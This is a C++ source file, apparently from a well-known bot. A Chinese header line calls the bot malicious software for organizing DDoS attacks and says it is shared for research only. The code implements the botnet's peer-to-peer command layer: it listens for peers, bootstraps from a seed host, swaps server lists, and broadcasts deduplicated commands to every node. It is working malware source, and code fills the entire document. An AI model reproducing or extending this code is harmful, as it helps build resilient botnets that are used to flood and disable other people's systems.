p2p.cpp.svn-base

很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习

						for(i=m_pManager->m_lServers.begin(); i!=m_pManager->m_lServers.end(); ++i)
						{	if(!strstr((*i)->CStr(), m_sLocalIp.CStr()) && !strstr((*i)->CStr(), m_sClientIp.CStr()))
							{	sServers.Append((*i)->CStr()); sServers.Append(" "); } }
						if(!m_pManager->m_lServers.size()) {
							sServers.Append(g_cMainCtrl.m_cCmdLine.m_cConfig.sSeedHost);
							sServers.Append(":");
							sServers.Append(g_cMainCtrl.m_cCmdLine.m_cConfig.iSeedPort); }
						m_cMsgIface.SendCmd("server_query_reply", "", sServers.GetLength(), sServers.CStr()); }

					// If the message got contents they have to be freed because RecvCmd does
					// a malloc
					if(mMsg.szContent) free(mMsg.szContent); }
				else // The message wasn't correct, or the socket is closed, terminate
					m_bRunning=false; } }
		xClose(m_sServerSock); }
	g_cMainCtrl.m_cConsDbg.Log(3, "CP2PServer(0x%8.8Xh): Connection from \"%s\" closed!\n", this, m_sClientIp.CStr()); m_bRunning=false; }

void CP2PManager::Init()
{	m_lConns.clear(); m_iMaxConns=20; m_iMaxServs=20; m_iNumConns=0; m_iNumServs=0;
	// Create the shared listen socket on standard port
	sockaddr_in issin; memset(&issin, 0, sizeof(issin)); issin.sin_family=AF_INET;
	issin.sin_addr.s_addr=INADDR_ANY; issin.sin_port=htons(P2P_SERVER_PORT);
	m_sListenSock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(m_sListenSock!=-1) {
#ifdef WIN32
		WSAAsyncSelect(m_sListenSock, 0, WM_USER + 1, FD_READ);
#endif
		bind(m_sListenSock, (sockaddr *)&issin, sizeof(issin)); listen(m_sListenSock, 10); }
	else // Uuhhh, spew something
		g_cMainCtrl.m_cConsDbg.Log(1, "CP2PManager(0x%8.8Xh): Port %d is already bound, or something wicked happened!\n", this, P2P_SERVER_PORT); }
void CP2PManager::Deinit()
{	list<CP2PConn*>::iterator ic; for(ic=m_lConns.begin(); ic!=m_lConns.end(); ++ic) delete (*ic);
	list<CP2PServer*>::iterator is; for(is=m_lServs.begin(); is!=m_lServs.end(); ++is) delete (*is);
	m_lConns.clear(); m_iMaxConns=0; m_iNumConns=0; if(m_sListenSock!=-1) xClose(m_sListenSock); }
void CP2PManager::AddServer(const char *szServer)
{	char *szServerCopy=(char*)malloc(strlen(szServer)+1); strcpy(szServerCopy, szServer);
	char *szRealServer=strtok(szServerCopy, ":");
	char *szPort=strtok(NULL, ":"); if(!szPort) return; int iPort=atoi(szPort);
	AddServer(szRealServer, iPort); free(szServerCopy); }
void CP2PManager::AddServer(const char *szServer, int iPort)
{	// Let the manager think if adding seed, loop through connections after that
	CString *sServer=new CString; bool bDupe=false;
	sServer->Assign(szServer); sServer->Append(":"); sServer->Append(iPort);
	list<CString*>::iterator is; for(is=m_lServers.begin(); is!=m_lServers.end(); ++is)
		if(strstr((*is)->CStr(), szServer)) bDupe=true;
	if(!bDupe) m_lServers.push_back(sServer);
	Think(); list<CP2PConn*>::iterator i; for(i=m_lConns.begin(); i!=m_lConns.end(); ++i)
	{	if((*i)->GotServer()) if(!strcmp((*i)->GetServer(), szServer)) return;
		if(!(*i)->GotServer()) // If the connection has no server set
			(*i)->SetServer(szServer, iPort); return; } }
void CP2PManager::QueryServers()
{	bool bGotConn=false; g_cMainCtrl.m_cConsDbg.Log(5, "CP2PManager(0x%8.8Xh): Starting server query...\n", this);
	// Cycle through connections, and if one is connected, query its server cache
	list<CP2PConn*>::iterator i; for(i=m_lConns.begin(); i!=m_lConns.end(); ++i) if((*i)->IsConnected()) { (*i)->QueryServers(); bGotConn=true; }
	// If there is no connected server, add the seed host from the command line
	if(!bGotConn) AddServer(g_cMainCtrl.m_cCmdLine.m_cConfig.sSeedHost.CStr(), g_cMainCtrl.m_cCmdLine.m_cConfig.iSeedPort);
}
bool CP2PManager::Think()
{	// If there are too few connections, create some new ones
	if(m_iNumConns<m_iMaxConns)
	{	m_iNumConns++; g_cMainCtrl.m_cConsDbg.Log(5, "CP2PManager(0x%8.8Xh): Adding new connection (%d/%d)...\n", this, m_iNumConns, m_iMaxConns);
		CP2PConn *pP2PConn=new CP2PConn; m_lConns.push_back(pP2PConn); pP2PConn->SetManager(this);
		try { pP2PConn->start(); } catch(Synchronization_Exception& e) { g_cMainCtrl.m_cConsDbg.Log(1, "CP2PManager(0x%8.8Xh): %s...\n", this, e.what()); } }

	// If there are too few servers, create some new ones
	if(m_iNumServs<m_iMaxServs)
	{	m_iNumServs++; g_cMainCtrl.m_cConsDbg.Log(5, "CP2PManager(0x%8.8Xh): Adding new server (%d/%d)...\n", this, m_iNumServs, m_iMaxServs);
		CP2PServer *pP2PServer=new CP2PServer; m_lServs.push_back(pP2PServer); pP2PServer->SetManager(this); pP2PServer->m_sListenSock=m_sListenSock;
		try { pP2PServer->start(); } catch(Synchronization_Exception& e) { g_cMainCtrl.m_cConsDbg.Log(1, "CP2PManager(0x%8.8Xh): %s...\n", this, e.what()); } }
	
	// Cycle through connections and check if they wanna continue to run
	list<CP2PConn*>::iterator ic; list<CP2PConn*> lRemoveConn;
	for(ic=m_lConns.begin(); ic!=m_lConns.end(); ++ic)
	{	if(!(*ic)->IsRunning()) lRemoveConn.push_back((*ic)); }
	for(ic=lRemoveConn.begin(); ic!=lRemoveConn.end(); ++ic)
	{	m_lConns.remove((*ic)); delete (*ic); m_iNumConns--; QueryServers(); }

	// Cycle through servers and check if they wanna continue to run
	list<CP2PServer*>::iterator is; list<CP2PServer*> lRemoveServ;
	for(is=m_lServs.begin(); is!=m_lServs.end(); ++is)
	{	if(!(*is)->IsRunning()) lRemoveServ.push_back((*is)); }
	for(is=lRemoveServ.begin(); is!=lRemoveServ.end(); ++is)
	{	m_lServs.remove((*is)); delete (*is); m_iNumServs--; }

	return true; }

void CP2PManager::Broadcast(message *pMsg)
{	Broadcast(pMsg->szCommand, pMsg->szParams, pMsg->szId, pMsg->iContentLength, pMsg->szContent); }
void CP2PManager::Broadcast(const char *szCommand, const char *szParams, const int iContentLength, const char *szContent)
{	char szId[65]; memset(szId, 0, sizeof(szId)); gen_unique_id(szId, sizeof(szId)-1);
	Broadcast(szCommand, szParams, szId, iContentLength, szContent); }
void CP2PManager::Broadcast(const char *szCommand, const char *szParams, const char *szId, const int iContentLength, const char *szContent)
{	list<CString*>::iterator iids; for(iids=m_lIdCache.begin(); iids!=m_lIdCache.end(); ++iids)
	{	if(!strcmp((*iids)->CStr(), szId)) return; }
	CString *psTemp=new CString; psTemp->Assign(szId); m_lIdCache.push_back(psTemp);
	if(m_lIdCache.size()>30) m_lIdCache.pop_front();
//	list<CP2PConn*>::iterator ic; // Cycle through connections and broadcast
//	for(ic=m_lConns.begin(); ic!=m_lConns.end(); ++ic)
//	{	(*ic)->m_cMsgIface.SendCmd(szCommand, szParams, szId, "broadcast", iContentLength, szContent); }
	list<CP2PServer*>::iterator is; // Cycle through servers and broadcast
	for(is=m_lServs.begin(); is!=m_lServs.end(); ++is)
	{	(*is)->m_cMsgIface.SendCmd(szCommand, szParams, szId, "broadcast", iContentLength, szContent); }
	message mTemp; strcpy(mTemp.szCommand, szCommand); strcpy(mTemp.szParams, szParams);
	strcpy(mTemp.szId, szId); strcpy(mTemp.szIntFlags, "loopback");
	mTemp.iContentLength=iContentLength; mTemp.szContent=(char*)malloc(iContentLength+1); memset(mTemp.szContent, 0, iContentLength+1);
	memcpy(mTemp.szContent, szContent, iContentLength); ForTargets(&mTemp); free(mTemp.szContent); }

void CP2PManager::AddTarget(CP2PTarget *pTarget) { m_lTargets.push_back(pTarget); }
void CP2PManager::DelTarget(CP2PTarget *pTarget) { m_lTargets.remove(pTarget); }
void CP2PManager::ForTargets(message *pMsg)
{	list<CP2PTarget*>::iterator it; // Cycle through targets
	for(it=m_lTargets.begin(); it!=m_lTargets.end(); ++it)
		// Call the targets Recv funtion, which is a virtual function in CP2PTarget
		(*it)->Recv(pMsg->szContent, pMsg->iContentLength, pMsg); }
void CP2PTarget::Send(char *szData, int iDataLen)
{	if(!m_pManager) return; // Let the manager broadcast this message
	CString sParams; sParams.Assign("");
	sParams.Format("%s:%s", g_cMainCtrl.m_sUniqueId.CStr(), g_cMainCtrl.m_sUserName.CStr());
	m_pManager->Broadcast("message", g_cMainCtrl.m_sUniqueId.CStr(), iDataLen, szData); }
void CP2PTarget::Send(char *szString) { Send(szString, strlen(szString)); }
void CP2PTarget::SetManager(CP2PManager *pManager) { m_pManager=pManager; }